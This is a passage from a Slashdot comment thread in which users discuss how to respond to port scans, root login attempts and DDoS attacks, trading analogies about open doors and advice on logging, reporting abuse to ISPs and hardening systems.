    a) Legislate. No-one wants legislation covering their computer. It will screw things up for the responsible among us and have no effect on the rest.

    b) Make it so unconfortable to run an unprotected computer that they get the hint and protect it.

    Having said all this, I know most people will still disagree with me. That's fine. Be angels. Just keep your damned computer secure and you've got nothing to worry about.

  38. Re:Ignoring it == raising criminals by otisg · · Score: 4, Insightful

    So if you leave the front door of your house open (by mistake or on purpose), it is okay for anyone to come in, check out what you have in the fridge, use your bathroom, etc.?

    Incidentally, this is similar to what happened to me yesterday. After hearing the noise coming from the other end of the apartment, I went to check it out and found a stranger in my bathroom. She followed some woman's directions and came to my bathroom, thinking it's a public bathroom, simply because I didn't lock my front door. I was polite, but I showed her the way out. I certainly couldn't just ignore her and let her be, could I?

    --
    Simpy
  39. Re:Ignoring it == raising criminals by Idarubicin · · Score: 5, Insightful
    I fail to see how scanning ports is akin to robbery. Actually a port scan by itself is a completely legitimate activity as it simply is querying what services are available.

    True, port scanning in and of itself is not comparable to robbery. Rather, it is like casing the joint: trying the doors to see if they're locked; testing the windows (ahem) for a good seal; checking all the security cameras to see where they're pointed, or if they're turned on at all.

    A business owner who saw someone doing that type of thing at their bricks and mortar presence might be a little suspicious. Sure, the 'port scanner' isn't doing anything illegal at the moment, but there are few applications for the information gathered that are legitimate. Most businesses (on- and offline) don't have much use or sympathy for freelance 'security consultants' providing convenient and unsolicited 'security audits' for them.

    The individuals attempting to login as root are admittedly being decidedly unsubtle, and are probably relatively harmless due to their lack of skill. On the other hand, if there was a mentally deficient individual wandering the neighbourhood trying to pull open front doors on random homes...wouldn't you want someone to at least keep an eye on him, even if you did keep your own door locked?

    I mean really, unless an attacker is DoSing your site due to resource issues I don't see how you can really conclude that the actions are malicious.

    What conclusions, pray, should be drawn from multiple attempts to gain root access to someone else's boxen? The original poster also specifically asked for an appropriate message to send that didn't sound like a corporate cease & desist--he just wants a 'kid, stop rattling my doorknob' message, to make the point that the 'investigator' has crossed from your 'public' internet on to a decidedly 'private' server.

    --
    ~Idarubicin
  40. Re:Ignoring it == raising criminals by Anonymous Coward · · Score: 5, Funny

    You fool! You had a strange woman just walk in and use your bathroom, and you let her get away? Arrrgg!

  41. Easy, really by KlausBreuer · · Score: 4, Funny

    The online cartoons - once again - show us how the world works. Here you can find the difference between Hollywoods form of dealing with intruders, and The Real Worlds:

    Bigger Than Cheese
    --
    Free PC version of ChipWits at http://www.breueronline.de/klaus/chipwits/
  42. Document Everything by catdevnull · · Score: 4, Informative

    Data integrity is more important than catching them. Rememeber that first.

    1) Make notes about what you've found
    2) Report the the abuse as per the WHOIS info for the offenders
    3) Block their IPs at your border

    If you're using a firewall, great. If not--get one.
    If you haven't read Frisch's "Essential System Admnistration" read it:
    http://www.oreilly.com/catalog/esa3/index.html

    If you haven't read Stephen Northcutt's "Network Intrusion Detection" you should probably give it a good read as well:
    http://www.amazon.com/exec/obidos/tg/detail/-/0735 708681/104-7409931-6853536?v=glance

    There are some good articles all over the web regarding Linux security. A few google searches will help uncover them.

    Patch. It's not just for Windows.

    Limit services with ACLs and host restriction.

    Harden your system by partitioning read/write slices away from static mountpoints where your binaries are by mounting the read only ones as read only.

    chattr +i on your binaries--makes it tougher for skript kiddies.

    Talk to other admins--every day is a school day.

    AND

    Face the fact that you're not as smart as the crackers so you just have to create layers of security that keep you from being an easy target.

    --

    I might know what I'm talkin' about, but then again, this is Slashdot...
  43. port scan != casing the joint by Ayanami+Rei · · Score: 4, Insightful

    Casing the joint would be when you then attempt to connect to each open port in turn, and try to verify the version of the server running on each port, perhaps by submitting malformed requests and looking for characteristic responses.

    That would be indicitave of someone trying to find a way in.

    --
    THIS THING CAN TURN ON A DIME, MACROSSZERO STYLE ALSO FUCK BETA, ~NYORON
    1. Re:port scan != casing the joint by Entropius · · Score: 5, Insightful

      Port scanning is akin to looking to see what doors the house has, if any are open, and if any have "LEMONADE SOLD INSIDE" signs on them.

      If you find a machine with port 139 (or whatever the netbios port on it) open, and they've got their C drive shared, don't touch--it wasn't meant for you.

      If you find a machine with port 80 open, then you're not doing any harm to pull http://xxx.xxx.xxx.xxx/index.html and see what lives there.

      Common sense and common courtesy are really all it takes: if it looks like someone meant to make something accessible, then use it. If someone takes any steps to secure something (even if they're ineffective) or wouldn't be offering it if they knew what they were doing (like the shared C drive), stay away.

  44. Can you all be more passive-aggressive, please? by CheeseTroll · · Score: 4, Insightful

    Of course you should make your box as secure as possible. Ignoring automated attack attempts is probably the wisest course of action, as well, otherwise you waste a lot of time and only draw more more attention to your network, making it a bigger target.

    But for those intrusion attempts that appear to have a human being on the other end, a virtual smack upside the head would do the world some good. If it's some script kiddie, then let them know their feeble attempts do not go unnoticed, and are by no means appreciated, and chances are they'll find something more constructive to do before they get themselves into real trouble. If it's someone more hardcore, well, I guess it won't matter either way.

    --
    A post a day keeps productivity at bay.
  45. Companies don't care. by dougmc · · Score: 4, Informative
    I've had problems with this a lot myself. Not intrusion attempts, but DDoS attacks. Apparantly people want my nickname on IRC, and think that hitting me with a DDoS attack until I drop off is an acceptable way of freeing it up for their own use. It's not so bad when they just go after my cable modem, but they've also gone after the place that I work at, even when I'm not IRCing from there at the time, and that's much much worse. Also, they often don't attack for the needed ten minutes -- I've had attacks going on for 15 hours, and perhaps even longer but at that point I had the ISP filter out the traffic for me.

    So, being a good guy, I never respond in kind (I could, but 1) it's wrong, 2) it affects more than just the target and 3) I don't feel like going to pound-me-in-the-ass prison), I just log every single packet I can, and when the attack is over find the worst offenders (typically the packets are not spoofed) and use Spamcop and whois to find the responsible parties for each one, and send them all an email.

    Many (most?) emails elicit an automatic response.

    Perhaps 10% get a personalized response, but usually this response says that I should contact the ISP of the offender (when in fact that's exactly what I'm doing.) Perhaps half of the responses I do get say they'll do something about it, which is good -- usually these are compromised drone/zombie machines, and need cleaning anyways.

    Quite often, the attacker is stupid enough to ping my machine from his home machine (so he can see how it's going), not thinking I'll notice that. When this happens, I can also email his home ISP, the people who really know who he is, and the people who can really hit him where it hurts. Except that they ignore my email too, and if they do email me back, they just tell me that the attack did not come from their ISP so they can't do anything, or there's no proof that the pinging is related to the attack.

    Phone calls are much more effective than emails, but you really need to make them during the attack for them to take them seriously. And often the attacks happen outside of business hours, so there's nobody to call. And they're very time consuming.

    Though I did succeed in nailing at least one guy. He was in Romania, and he messaged me a few weeks after the attack basically pleading with me that it wasn't him, but his brother using his computer. Apparantly the police (in Romania) were questioning him, and one of the things they showed him was my email. The police had never contacted me -- I'm guessing that my email was just one of many pieces of evidence they had against the guy. I felt a bit bad for him, but not that bad. Not that I had any control over what was happening to him at that point -- it was out of my hands the moment I sent my email.

    So, if it happens again, I'll do the same thing. I know it's not likely that anything substantial will come from my emails, but there's still a chance. Every time it happens, I know I nail at least some of his compromised machines, and have a chance at getting him. I'll win eventually -- either that, or he'll hit puberty, in which case we both win.

  46. Report it and be Nice by argoff · · Score: 4, Insightful

    Chances are that you are not being directly hacked, but automatically probed by a system already infected with a root-kit installed.

    There are alot of people out there who have no idea that their computer is infected with a root-kit and many would be greatfull to be told so.